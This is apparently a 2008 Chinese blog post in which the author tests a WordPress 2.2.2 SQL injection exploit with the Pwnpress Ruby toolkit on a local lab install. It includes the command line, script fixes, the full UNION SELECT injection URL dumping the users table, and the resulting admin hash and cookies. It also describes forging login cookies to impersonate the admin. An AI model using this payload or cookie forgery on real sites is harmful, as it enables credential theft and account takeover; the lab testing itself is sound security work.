2008年8月26日星期二

对wordpress2.2.2版本的pingback_xmlrpc漏洞进行利用的尝试

使用的工具脚本为 Wordpress Multiple Versions Pwnpress Exploitation Tookit (0.2pub)。
运行环境为Ubuntu 7.0.4,apache2&php5&mysql。在本机上安装wordpress2.2.2版本的环境,安装过程中配置数据库时将prefix设为wp222_。

访问该wordpress的url为:http://127.0.0.1/wordpress_222

wordpress

将该工具脚步保存为pwnpress.rb

使用的命令为:ruby -v auto –prefix wp222 -t http://127.0.0.1/wordpress_222

但是该脚本在不同的环境下,运行可能会出现一些问题。在我调试过程中,需要更改的地方为:

1.第660行左右: 有可能要将“tag”去掉。这个需要根据wordpress返回的内容进行修改。

2.第597行左右:

phash = Digest::MD5.new().hexdigest(phash),在我的测试版本中是需要将new()去掉,才能正常允许正常。

3.另外一个最重要的设置是:

需要php环境中magic_quotes_gpc设置为off。如果设置为on的话,php会对语句中的%27–分号进行过滤,导致无法成功 exploit。但是由于在安装php时,magic_quotes_gpc默认是设置为on,因此该脚本针对目前线上运行的wordpress的威胁并 不大。

其实上边这些话只说对了一半,magic_quotes(魔术引号)确实会对exploit造成很大的障碍,但是在这个脚本中,作者已经将代码转换为base64的格式(见430行)。

同时在调试过程过程中,如果遇到问题要善于使用ruby语言中的puts命令,该命令的作用相当于print。

该脚本在exploit中,构造出来的exploit的语句为:

http://127.0.0.1/wordpress_222/index.php/archives/category/uncategorizedxpQanVbl0jiAYVOA&post_type=jNRqjMaYo7EhoDmq%27) UNION SELECT CONCAT(user_pass, %27 - %27, user_login, %27 - %27, user_email), 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 FROM WPR3F1X_users%2F*

该脚步exploit成功的输出为:

admin
cookie_pass : wordpresspass_c4da56beffa0e6bda3e2ec53c0c32558=e42b24c68e772056ff1484ef0ef9017d
passwd_hash : e10adc3949ba59abbe56e057f20f883e
email_addr : showrun@tom.com
cookie_user : wordpressuser_c4da56beffa0e6bda3e2ec53c0c32558=admin
用户名为:admin

密码的md5值为:e10adc3949ba59abbe56e057f20f883e

到xmd5可以尝试着将该秘密进行破解,当然为了测试方便,我选择了一个简单的密码。

其他,是提供了一些可以伪造的cookie的信息。可以进一步利用。

具体利用的方式,我已经验证过了,使用的工具是firefox的插件 cookie editor。根据提供的信息,通过插件按照wordpress的格式(具体的格式还是自己安装一个wordpress进行参考)伪造cookie,即可成功欺骗。

没有评论: